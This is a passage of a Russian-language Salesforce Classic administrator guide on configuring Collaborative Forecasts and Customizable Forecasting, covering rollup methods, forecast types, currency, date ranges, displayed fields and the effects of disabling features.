Возможности для сведенияИмя столбца на вкладке «Прогнозы»Метод сводки категории

Ожидаемые продажиОжидаемые продажиИндивидуальные сводки

Благоприятный прогнозБлагоприятный прогноз

ОбязательствоОбязательство
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Возможности для сведенияИмя столбца на вкладке «Прогнозы»Метод сводки категории

ЗакрытоЗакрыто

Открыто: ожидаемые продажиНакопительные сводки • Ожидаемые продажи

• Благоприятный прогноз

• Обязательство

Благоприятный прогноз: прогноз • Благоприятный прогноз

• Обязательство

• Закрыто

Обязательство: прогноз • Обязательство

• Закрыто

ЗакрытоТолько категория «Закрыто»

Преимущества накопительных сводок прогнозов
При использовании индивидуальных сводок категорий прогнозов каждая итоговая и промежуточная сумма отображает
возможности только из одной индивидуальной категории прогноза. Данный тип сводки указывает на необходимость
самостоятельногосложениястоимостейпрогнозовиз категорий «Благоприятныйпрогноз», «Обязательство» и «Закрыто»
для отображения пользователям прогнозов итоговой суммы, которая должна быть прибавлена по результатам месяца
или квартала.

Пример: индивидуальная сводка прогноза

Ожидаемые продажиБлагоприятный
прогноз

ОбязательствоЗакрытоСтоимости
прогнозов

$200$150$100$50

Ожидаемые продажиБлагоприятный
прогноз

ОбязательствоЗакрытоВозможности

$50 • $50• $50• $50

• • $50• $50$50

•• $50$50

• $50

При использовании накопительных сводок прогнозов столбцы прогноза отображают сводные стоимости для
возможностейиз указаннойкатегориипрогноза, а такжепоследующихкатегорийворонкипродаж. Данноепредставление
позволяет группам сбыта просматривать итоговые суммы, которые должны быть прибавлены, без их самостоятельного
сложения.
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Например, таблица ниже отображает стоимости накопительных сводок прогнозов при наличии четырех возможностей
из категории «Ожидаемые продажи», трех возможностей из категории «Благоприятныйпрогноз», двух возможностей из
категории «Обязательство» и одной возможности из категории «Закрыто» стоимостью 50 долларов США каждая.

Пример: накопительная сводка прогноза

Открыто: ожидаемые
продажи

Благоприятный
прогноз: прогноз

Обязательство:
прогноз

Только категория
«Закрыто»

Стоимости
прогнозов

$450$300$150$50

Ожидаемые продажиБлагоприятный
прогноз

ОбязательствоЗакрытоВозможности

$50 • $50• $50• $50

• • $50• $50$50

•• $50$50

• $50

Прим.: Организации, использующиенакопительныесводкипрогнозов, немогутиспользовать архивныйтрендинг
прогнозов.

Включение накопительных сводок прогнозов для торговых представителей и
менеджеров

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра настройки
прогнозов:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров прогнозов:
• «Настройка

приложения»

Организация может использовать столбцы накопительных сводок прогнозов или
столбцы индивидуальных сводок категорий прогнозов.

Помните, чтоизменениеспособаотображениястолбцовпрогнозаинициируетудаление
всех поправок, внесенных в стоимости прогнозов из категорий «Обязательство» и
«Благоприятный прогноз», но не данных плана продаж.

1. Вменю «Настройка» введите «Параметры прогнозов» вполе «Быстрый поиск», затем
выберите «Параметры прогнозов».

2. Включите поддержку накопительных сводок прогнозов.
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Выбор валюты прогноза

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

пользователями»

И

«Настройка
приложения»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прежде чем изменить валюту прогноза, рекомендуем просмотреть раздел «Работа с
несколькими валютами в прогнозах».

1. Вменю «Настройка» введите «Параметры прогнозов» вполе «Быстрый поиск», затем
выберите «Параметры прогнозов».

2. Выберите нужную валюту в разделе «Валюта прогноза».

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Общие сведения о поправках прогнозов

Общие сведения о типах прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Пользователям может быть предоставлено не более четырех типов прогнозов,
позволяющих прогнозировать продажи по нескольким перспективам.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Ниже перечислены поддерживаемые типы прогнозов.

Способ сведенияТип прогноза

Сведение выполняется на основе поля
возможности «Стоимость».

Возможности — Доход

Сведение выполняется на основе поля
возможности «Количество».

Возможности — Количество

Сведение выполняется на основе поля
возможности «Стоимость», а стоимости

Группы продуктов — Доход

прогнозов разделяются по группе
продуктов. Чтобыиспользоватьпрогнозы
по группепродуктов, организациядолжна

2185

Настройка совместных прогнозовНастройка и обслуживание инструментов продаж



Способ сведенияТип прогноза

включить объекты «Продукты возможности» и «Группы
продуктов».

Сведение выполняется на основе поля возможности
«Количество», а стоимости прогнозов разделяются по

Группы продуктов — Количество

группепродуктов. Чтобыиспользоватьпрогнозыпогруппе
продуктов, организация должна включить объекты
«Продукты возможности» и «Группы продуктов».

Сведение выполняется на основе поля возможности
«Стоимость» и процента доли каждого участника группы

Доли возможности — Доход

сбыта. При использовании прогнозов типа «Доли
возможности — Доход» сумма долей для каждой
возможности должна составлять 100%. Для использования
прогнозов по долям для возможностей должны быть
включены «Группы, работающиесвозможностями», «Доли
возможности» и тип доли «Доход».

Сведение выполняется на основе поля возможности
«Стоимость» и процента доли каждого участника группы

Доли наложения — Доход

перекрывающих продаж. При использовании прогнозов
типа «Доли наложения — Доход» сумма долей может
составлять менее 100%. Для использования прогнозов по
долям наложения должны быть включены «Группы,
работающие с возможностями», «Доли возможности» и
тип доли «Наложение».

Сведение выполняется на основе стоимости в заданном
настраиваемом поле валюты возможности. Для

Настраиваемое поле валюты возможности — Доход

использования настраиваемых прогнозов поля валюты
возможности нужно включить «Группы, работающие с
возможностями» и «Доливозможности». Пользовательский
тип доли для поля должен также быть включен, даже если
вы не намерены разделять кредит для суммы поля.

Сведение выполняется на основе стоимости в поле
возможности «Ожидаемый доход». Для прогнозирования

Ожидаемый доход — Доход

по полю «Ожидаемый доход» нужно включить «Группы,
работающие с возможностями» и «Доли возможности».
Пользовательский тип доли для поля должен также быть
включен, даже если вы не намерены разделять кредит для
суммы поля.

Возможности
Рекомендуем использовать прогнозы по доходу для возможностей для составления прогнозов по полю возможностей
«Стоимость». Рекомендуемиспользоватьпрогнозыпоколичеству для возможностейдля составленияпрогнозовпополю
возможностей «Количество».
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Группы продуктов
Еслиорганизацияобъединяетпродуктыиуслуги в группыитребуетихналичиядля составленияпрогнозов, рекомендуем
использовать прогнозы по группам продуктов. Ниже перечислены рекомендации по использованию групп продуктов.

• Столбец «Стоимость» отображается в списке возможностей на странице прогноза.

• Объектом прогнозирования может быть доход, количество или то и другое.

• Прогнозирующиепользователисмогутпросматриватьотдельныегрупповыепроизводственныепрогнозыдлякаждого
торгового предсвтавителя.

• Организация должна использовать объекты «Продукты возможности» и «Группы продуктов».

• Пользователи должны заполнять поле «Группа продуктов» в каждой записи продукта. Прогнозы для продуктов,
содержащихпустоеполе «Группапродуктов», отображаютсяв строкепрогноза «Категориипродуктовнеопределены».
(При отсутствии элементов строки возможности данная строка также отображает количество или стоимость
возможности.)

• Поправки могут быть внесены в прогнозы по группе продуктов торгового представителя, но не в общий прогноз по
всем группам продуктов.

• Каждому торговому представителю могут быть назначены отдельные планы продаж группы продуктов, но не один
план продаж для каждого торгового представителя.

Доли возможности
Если организация использует функцию группового сбыта и доли возможности, рекомендуем использовать прогнозы
по доходу для долей возможности. Ниже перечислены рекомендации по использованию долей возможности.

• Столбцы «Прогнозируемая стоимость» и «Доля (%)» отображаются в списке возможностей на странице прогноза.

• Объектом прогнозирования может быть только доход.

• У вашей организации должны быть включены «Групповой сбыт», «Доли возможности» и тип доли «Доход».

Доли наложения
Рекомендуемиспользоватьдолиналожениядляотслеживаниядоходаотучастниковгруппысбыта, помогающихзакрывать
возможности, но не несущих за них ответственность.

• Сумма долей наложения для отдельной возможности может составлять менее 100%.

• Объектом прогнозирования может быть только доход.

• У вашей организации должны быть включены «Групповой сбыт», «Доли возможности» и тип доли «Наложение».

Настраиваемые поля валюты возможности
Еслиорганизацияиспользуетнастраиваемыеполявалютыдлявозможностей, топользователимогут составлятьпрогнозы
по стоимостям в данных полях.

• Пользователимогут составлять прогнозы только по доходу, так как поле должнобыть настраиваемымполем валюты.

• Пользователи могут составлять прогнозы по настраиваемому полю, независимо от наличия долей возможности.

• Независимо от того, использует ли поле доли, у вашей организации для поля должны быть включены «Групповой
сбыт», «Доли возможности» и настраиваемый тип доли.
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Ожидаемый доход
Рекомендуем использовать поле возможности «Ожидаемый доход» при отличии значения поля «Стоимость» от
фактического дохода, полученного от возможности. Группа сбыта, рассчитывающая на данное отличие, может
использовать поле «Ожидаемый доход» для составления прогнозов.

• Объектом прогнозирования может быть только доход.

• Пользователимогут составлять прогнозыпополю «Ожидаемыйдоход», независимоот наличия долей возможности.

• Независимо от того, используете ли вы доли с полем «Ожидаемый доход», в вашей организации для него должны
быть включены «Групповой сбыт», «Доли возможности» и настраиваемый тип доли.

При включениинескольких типов прогнозов настраиваемыепредставления прогнозов позволяют определять сведения
о возможностях, отображаемые для каждого прогноза.

Рассмотримпримерниже. Чтобыразрешитьгруппесбытапрогнозированиедоходаповозможностямигруппампродуктов,
администратор должен включить прогнозы по возможностям и группам продуктов на основе дохода.

Просмотритестраницупрогнозов «Доходвозможностей» ниже, котораяотображаетобщиедоходыдлякаждоготоргового
представителя в каждой сводке прогноза.

Каждый пользователь может изменять представление прогнозов путем выбора нужного типа прогноза в меню «Тип
прогноза» (см. пример ниже).
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При выборе типа прогноза «Доход группы продуктов» пользователю отображаются общие доходы каждого торгового
представителя по группе продуктов.
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Включение типов прогнозов для функции «Совместные прогнозы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения типа
прогноза:
• «Настройка

приложения»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Типпрогноза — этопрогноз, предназначенныйдляиспользованияопределенноготипа
данных. Разрешаетсяиспользоватьполе возможности «Стоимость», доливозможности,
доли наложения, настраиваемые поля возможности или группыпродуктов.Кроме того,
каждый тип прогноза определяет используемое измерение: доход или количество. При
использованиивозможностейилигрупппродуктовтипыпрогнозовмогутподдерживать
количество и доход. При использовании долей возможности типы прогнозов могут
поддерживатьтолькодоход. Преждечемдобавитьтипыпрогнозов, просмотритесведения
о каждом типе.

1. Вменю «Настройка» введите «Параметры прогнозов» вполе «Быстрый поиск», затем
выберите «Параметры прогнозов».

2. Если организация:

• не использует типы прогнозов, щелкните «Добавить тип прогноза».

• использует как минимум один тип прогноза, щелкните «Добавить другой тип
прогноза».

3. Выберите нужный источник данных в меню «Тип прогноза».

4. Выберите нужное измерение прогноза: «Доход» или «Количество». Чтобы
использовать оба измерения, добавьте отдельные типы прогнозов для каждого
измерения.

5. Выберите столбцы для отображения в списке связанных возможностей на вкладке «Прогнозы».
Еслиисточникомданныхпрогноза являются возможностиили группыпродуктов, тополе «Стоимость» отображается
по умолчанию. Еслиисточникомданных являются доли возможности, тополя «Прогнозируемая стоимость» и «Доля
(%)» отображаются по умолчанию. При необходимости выбранные поля могут быть изменены для каждого типа
прогноза даже после его включения. В зависимости от измерения (доход или количество), используемого типом
прогноза, рекомендуем добавить поле «Стоимость» или «Количество».

6. Нажмите кнопки «OK» и «Сохранить».

Повторитеперечисленныевышедействиядлякаждогодобавляемоготипапрогноза. Включениетипапрогнозаинициирует
первоначальный расчет нового прогноза, время выполнения которого определяется количеством возможностей,
пользователей и групп продуктов, доступных в организации.

Внимание: Отключение типа прогноза инициирует удаление сведений обо всех связанных планах продаж и
поправках.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Рекомендации по настройке функции «Совместные прогнозы»

Выбор полей, отображающихся в разделе возможностей на странице «Совместные прогнозы»
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Включение прогнозов по долям дохода для менеджеров по продажам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра настройки
прогнозов:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров прогнозов:
• «Настройка

приложения»

Добавление прогнозов по долям дохода в организацию позволяет группам сбыта
отслеживать доходы от возможностей с несколькими торговыми представителями.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прежде чем включить прогнозы по долям дохода, включите функции ниже.

• Совместные прогнозы

• Групповой сбыт и доли возможности

• Тип доли возможности «Доход»

Прогнозы по долям наложения могут быть включены только после включения
перечисленных выше функций.

1. Вменю «Настройка» введите «Параметры прогнозов» вполе «Быстрый поиск», затем
выберите «Параметры прогнозов».

2. Если организация:

• не использует типы прогнозов, щелкните «Добавить тип прогноза».

• использует как минимум один тип прогноза, щелкните «Добавить другой тип
прогноза». Система позволяет включать не более 4 типов прогнозов.

3. Выберите пункт «Доли дохода возможности» в меню «Тип прогноза». Доли
наложения поддерживают только измерение прогноза «Доход».

4. Выберите столбцы для отображения в списке связанных возможностей на вкладке
«Прогнозы» для прогноза по наложениям. Включите столбец «Доля», чтобы пользователям прогнозов было проще
увидеть доли сумм по каждой коммерческой возможности.

5. Нажмите кнопки «OK» и «Сохранить».
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Включение прогнозов по долям наложения для менеджеров по продажам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра настройки
прогнозов:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров прогнозов:
• «Настройка

приложения»

Добавление прогнозов по наложениям в организацию позволяет группам сбыта
отслеживать доходы, полученные от перекрывающих продаж.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прежде чем включить прогнозы по наложениям, включите функции ниже.

• Совместные прогнозы

• Групповой сбыт и доли возможности

• Тип доли возможности «Наложение»

Прогнозы по долям наложения могут быть включены только после включения
перечисленных выше функций.

1. Вменю «Настройка» введите «Параметры прогнозов» вполе «Быстрый поиск», затем
выберите «Параметры прогнозов».

2. Если организация:

• не использует типы прогнозов, щелкните «Добавить тип прогноза».

• использует как минимум один тип прогноза, щелкните «Добавить другой тип
прогноза». Система позволяет включать не более четырех типов прогнозов.

3. Выберите пункт «Доли наложения возможности» в меню «Тип прогноза». Доли
наложения поддерживают только измерение прогноза «Доход».

4. Выберите столбцы для отображения в списке связанных возможностей на вкладке
«Прогнозы» для прогноза по наложениям. Включите столбец «Доля», чтобы пользователям прогнозов было проще
увидеть доли сумм по каждой возможности.

5. Нажмите кнопки «OK» и «Сохранить».
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Включение прогнозов по настраиваемому полю для менеджеров по продажам

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Enterprise Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения типов доли
возможности:
• «Настройка

приложения»

Для просмотра настройки
прогнозов:
• «Просмотр настройки и

конфигурации»

Для редактирования
параметров прогнозов:
• «Настройка

приложения»

Преждечем включитьпрогнозпонастраиваемомуполю, включитенастраиваемыйтип
доли для поля и добавьте соответствующий прогноз.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Сначала включите настраиваемый тип доли для каждого настраиваемого поля
возможности, которое должно использоваться при составлении прогнозов. Торговый
представитель, создающийвозможность, автоматическиполучаетдолюразмером 100%
длялюбоговключенногоиполностьюпроверенногонастраиваемоготипадоли. Таким
образом, даже при отказе от разделения настраиваемого поля, сводка прогноза всегда
отображает 100% стоимости в настраиваемом поле.

Прежде чем включить прогнозы по настраиваемому полю, включите функции ниже.

• Совместные прогнозы

• Как минимум одно настраиваемое поле валюты возможности

• Групповой сбыт и доли возможности

• Настраиваемый тип доли возможности на основе настраиваемого поля
(Дополнительнуюинформациюовключениитиповдолейсм. вразделе «Включение
функции "Доли возможности" и типов долей» на странице 2136.)

Прогнозы по настраиваемому полю могут быть включены только после включения
перечисленных выше функций.

1. Из меню «Настройка» введите «Параметры прогнозов» в поле «Быстрый поиск»,
затем выберите «Параметры прогнозов».

2. Если организация:

• не использует типы прогнозов, щелкните «Добавить тип прогноза».

• использует как минимум один тип прогноза, щелкните «Добавить другой тип
прогноза». Включите не более четырех типов прогнозов.

3. Выберите имя настраиваемого типа доли возможности, созданного на основе настраиваемого поля возможности, в
меню «Тип прогноза». Прогнозы по настраиваемому полю поддерживают только измерение прогноза «Доход».

4. Выберите столбцы для отображения в списке связанных возможностей на вкладке «Прогнозы» для прогноза по
настраиваемому полю. Включите столбец «Доля», чтобы пользователям прогнозов было проще увидеть доли сумм
по каждой возможности.

5. Нажмите кнопки «OK» и «Сохранить».
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Определение диапазона дат для прогноза организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

пользователями»

И

«Настройка
приложения»

Взависимостиотпараметровфункции «Совместныепрогнозы», заданныхворганизации,
сводная таблицана странице «Совместныепрогнозы»отображает стоимостипрогнозов
для отдельных или нескольких периодов.По умолчанию используются шесть месяцев
или четыре квартала.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

При использовании настраиваемого финансового года отображаются настраиваемые
периодыиликварталы. Прогнозымогут составлятьсяпопредстоящимилипрошедшим
12 месяцам или 8 кварталам. Если в ваш прогнозируемый диапазон входит текущий
месяц или квартал, на странице прогнозов по умолчаниюотображается текущиймесяц
или квартал. Если это не так, то по умолчанию выбирается первый месяц или квартал
прогнозируемого диапазона дат.

Диапазон дат становится стандартным для всех пользователей функции «Совместные
прогнозы». Собственные прогнозы пользователей позволяют использовать этот
стандартныйдиапазонилинастраиваемыйдиапазондат. Измененныйиндивидуальный
диапазон дат прогноза не может быть переопределен администратором. Тем не менее,
изменение периода (ежемесячно на ежеквартально или наоборот) отображается во всех
прогнозах пользователей.

Внимание: Приизменениипериода (ежемесячнона ежеквартальноилинаоборот)
или стандартного финансового года удаляются все поправки и планы продаж.
Если вы используете функцию настраиваемого финансового года, при создании
первого настраиваемого финансового года любые планы продаж и поправки в
соответствующемипоследующихстандартныхфинансовых годах будут удалены.
Данные изменения инициируют пересчет прогноза, время выполнения которого
определяется текущим объемом данных.

1. В меню «Настройка» введите «Параметры прогнозов» в поле «Быстрый поиск», затем выберите «Параметры
прогнозов».

2. Чтобы выбрать начальный период и нужное количество периодов, воспользуйтесь раскрывающимися списками в
разделе «Настроить стандартное отображение прогнозов».

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Рекомендации по настройке функции «Совместные прогнозы»

Изменение отображения диапазона дат для прогноза
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Выбор полей, отображающихся в разделе возможностей на странице «Совместные
прогнозы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки раздела
возможностей:
• «Настройка

приложения»

Для просмотра настройки и
конфигурации:
• «Просмотр настройки и

конфигурации»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Совет: Если поле возможности, добавленное в раздел возможностей, не
отображается пользователям функции «Прогнозы», проверьте параметры
безопасности, заданные для конкретного профиля пользователя и поля. Если
данное поле используется прогнозом, то столбец «Прогнозируемая стоимость»
отображает значение поля или значение связанной доли поля, независимо от
заданных параметров безопасности поля.

Выбор стоимости прогноза в сводной таблице инициирует отображение списка
соответствующих возможностей под таблицей. Администраторы могут выбирать не
более 15 стандартных и настраиваемых полей, которые должны отображаться в разделе
возможностей, для каждого включенноготипапрогноза. Доступныеполяопределяются
заданными параметрами безопасности поля. Поле «Имя возможности» является
обязательным. Кроме того, рекомендуем добавить поле «Категория прогноза».

При выборе полей помните, что поля используются сводкой прогноза. Прогнозы по
количеству для возможностей сводятся на основе поля возможности «Количество», а
прогнозы по доходу для возможностей сводятся на основе поля возможности
«Стоимость». Прогнозы по доходу для долей возможности сводятся на основе поля
возможности «Стоимость» и процента доли, назначенного торговому представителю.
Прогнозы по настраиваемому полю возможности сводятся на основе настраиваемого
поля «Стоимость». Прогнозы по доходу для групп продуктов сводятся на основе суммы
поля «Итоговая цена» для всех элементов строки возможности в данной группе
продуктов, а прогнозы по количеству для групп продуктов сводятся на основе поля
«Количество» для всех элементовстрокивозможностивданнойгруппепродуктов. Если
источником данных являются возможности без элементов строки или с элементами
строки, которыене содержат группыпродуктов, то итоговые значения сводятся в строке
«Категории продуктов не определены» на странице «Прогнозы». В зависимости от измерения (доход или количество),
используемого типом прогноза, рекомендуем добавить поле «Стоимость» или «Количество».

Если источником данных прогноза являются возможности или группы продуктов, то поле «Стоимость» отображается
по умолчанию. Если источником данных являются доли возможности, то поля «Прогнозируемая стоимость» и «Доля
(%)» отображаютсяпоумолчанию. Принеобходимостивыбранныеполямогутбытьизмененыдля каждого типапрогноза
даже после его включения.

1. В меню «Настройка» введите «Параметры прогнозов» в поле «Быстрый поиск», затем выберите «Параметры
прогнозов».

2. Щелкните имя нужного типа прогноза.

3. Чтобы добавить или удалить поля в списках «Доступные столбцы» и «Выбранные столбцы», выберите нужные поля
и воспользуйтесь кнопками «Добавить» и «Удалить» в разделе «Выбрать поля для отображения в списке связанных
возможностей». Чтобы определить порядок отображения полей в макете, выберите нужные поля и нажмите кнопку
«Вверх» или «Вниз», либо крайнюю кнопку «Вверх» или «Вниз».
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4. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Рекомендации по настройке функции «Совместные прогнозы»

Настройка категорий прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения поддержки
прогнозов:
• «Управление

пользователями»

И

«Настройка
приложения»

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Категория прогноза — это категория в цикле продаж, назначаемая возможности на
основе ее этапа. Кстандартнымкатегориямпрогноза относятся: «Ожидаемыепродажи»,
«Благоприятный прогноз», «Обязательство», «Пропущено» и «Закрыто». При
необходимости настройте имена категорий прогнозов для организации.

1. В параметрах управления для возможностей перейдите к разделу «Поля».

2. Щелкните ссылку «Категория прогноза».

3. Щелкните ссылку «Правка» напротив нужного значения в разделе «Значения
раскрывающегося списка: категория прогноза».

4. Введите имя категории прогноза.

5. Нажмите кнопку «Сохранить».

Новое имя категории прогноза отображается в прогнозах и записях возможности.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Рекомендации по настройке функции «Совместные прогнозы»

Поиск по параметрам управления объектами

2196

Настройка совместных прогнозовНастройка и обслуживание инструментов продаж



Выключение функции «Совместные прогнозы»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition (без
прогнозов по долям
возможности или
настраиваемому полю),
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобывыключитьфункцию «Совместныепрогнозы», обратитесь в компанию Salesforce.

Прим.: Данные сведения относятся только к функции «Совместные прогнозы» и
не относятся к продукту «Настраиваемые прогнозы».

Прежде чем отключить продукт «Совместные прогнозы» или одну из его функций,
рекомендуем просмотреть возможные последствия.

Совет: Отключение некоторых функций может инициировать удаление планов
продаж и поправок. Прежде чем выполнить отключение, рекомендуем
экспортировать данные. По завершении изменений данные могут быть
импортированы обратно в систему Salesforce.Обратите внимание, что изменение
периода со значения «Ежеквартально» на значение «Ежемесячно» или наоборот
инициирует несоответствие текущих значений новым периодам, поэтому данные
планов продаж или поправок не могут быть импортированы обратно в систему
Salesforce.

Удаляемые элементыОтключаемая функция

Поправки

Обратите внимание, что иерархия прогнозов сохраняется.

Совместные прогнозы

Планы продаж и поправки для данного типа прогнозаТип прогноза

ПоправкиПоправки

Планы продаж и поправкиЕжемесячный период для использования ежеквартальных
периодов

ИЛИ

Ежеквартальный период для использования ежемесячных
периодов

Если поправки удаляются из прогнозов, то исходные данные прогнозов не меняются.

СМ. ТАКЖЕ:

Общие сведения о совместных прогнозах

Определение параметров прогнозов
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Настройка настраиваемых прогнозов

Настройка функции настраиваемого прогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Прогнозы продаж отображают предполагаемый доход организации. Прогнозы
позволяютменеджерамируководителямполучатьболееполноепредставлениеотекущих
делах, независимо от степени разобщенности участников групп сбыта.

Функциянастраиваемогопрогнозирования — этоуниверсальноерешение, позволяющее
выполнять самые строгие требования. Начните с настраиваемого прогнозирования в
меню «Настройка», введя «Прогнозы (настраиваемые)» в поле «Быстрый поиск», затем
выберите «Прогнозы (настраиваемые)».

• Чтобы настроить стандартные параметры для организации, щелкните
«Редактироватьпараметрыпрогнозовдлякомпании». См. раздел «Определение
параметров настраиваемых прогнозов».

• Чтобы настроить параметры пакетной отправки, щелкните «Пакетная отправка прогнозов для пользователей».
См. раздел «Пакетная отправка настраиваемых прогнозов».

• Чтобы настроить начальную иерархию прогнозов, щелкните «Настроить иерархию прогнозов для компании».
См. раздел «Настройка иерархии прогнозов».

СМ. ТАКЖЕ:

Отправка настраиваемых прогнозов пакетами

Использование групп продуктов

Определение параметров настраиваемых прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения
параметров прогнозов:
• «Настройка

приложения»

Вводя в действие настраиваемые прогнозы для своей организации, вы должны задать
наиболее подходящие для нее параметры этих прогнозов.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Ниже перечислены параметры организации, доступные для определения.

• Параметр «Агрегирование данных прогноза» определяет тип данных,
отображаемых в прогнозах.

• Параметр «Представление резюме прогноза по умолчанию» определяет
стандартную группу продуктов, дату начала, диапазон дат и показатели для
стандартных прогнозов.

• Параметр «Общий доступ к данным прогноза» определяет возможность общего
доступа к данным прогноза.

Чтобы настроить параметры прогнозов, выполните указанные ниже действия.

1. Введитестроку «Прогнозы» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Параметры прогнозов».
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2. Чтобы дополнить прогнозы суммой дохода, выберите параметр «Доход по прогнозу». Отключение данного
параметра инициирует удаление всех переопределений дохода из собственных прогнозов.

3. Чтобы дополнить прогнозы общим количеством, выберите параметр «Количество по прогнозу». Отключение
данного параметра инициирует удаление всех переопределений количества из собственных прогнозов.

4. Заполните поле «Период прогноза». Если организация не использует настраиваемые финансовые года, выберите
значение «Ежемесячно» или «Ежеквартально», исходя из цикла прогнозирования организации. Дата начала месяца
иликварталаотображаетсяпоГринвичу.Еслиорганизацияиспользуетнастраиваемыефинансовые года, топрогнозы
могут составляться по финансовому периоду или финансовому кварталу. Выбранный период прогноза определяет
временнойинтервал, используемыйорганизациейдлясоставленияплановпродажипрогнозов. Вотличиеот значения
«Ежемесячно», позволяющегопросматриватьитоговыезначенияпокварталам, значение «Ежеквартально» непозволяет
просматривать итоговые значения по месяцам. Изменение данного параметра инициирует удаление всех
переопределений и прогнозов, включая весь журнал прогнозов.

5. Настройте параметр «Дата прогноза», определяющий способ добавления стоимостей возможности в прогнозы.

• Чтобы добавить всю стоимость возможности в период прогноза для заданной даты, выберите значение «Дата
закрытия возможности». Если организация не использует продукты, то данное значение является единственным
доступным.

• Чтобыдобавить стоимость продукта возможности в периодпрогноза, соответствующийполю «Дата продукта»,
выберите значение «Дата продукта». Если возможность не содержит продуктов или не указана дата продукта, то
система Salesforce использует значение «Дата закрытия возможности» в прогнозе пользователя.

• Чтобыдобавитьотдельныестоимостирасписаниядоходоввпериодыпрогноза, соответствующиедатамрасписания,
выберите значение «Запланированная дата». Еслипродуктнесодержитрасписаниядоходов, тосистемаSalesforce
использует значение «Дата продукта» в прогнозе пользователя.

6. Заполните поле «Тип прогноза».

• Еслиорганизациянеиспользуетпродукты, выберитезначение «Использовать общий прогноз». Каждомупериоду
соответствует один прогноз и один план продаж. Если организация не использует продукты, то данное значение
является единственным доступным.

• Еслиорганизацияиспользуетодинпланпродажиодинпрогноздля каждой группыпродуктов, выберите значение
«Использовать группы продуктов». См. раздел «Использование групп продуктов».

7. Выберите стандартноепредставлениедляпользователей. Данныйпараметропределяет группупродуктов, датуначала,
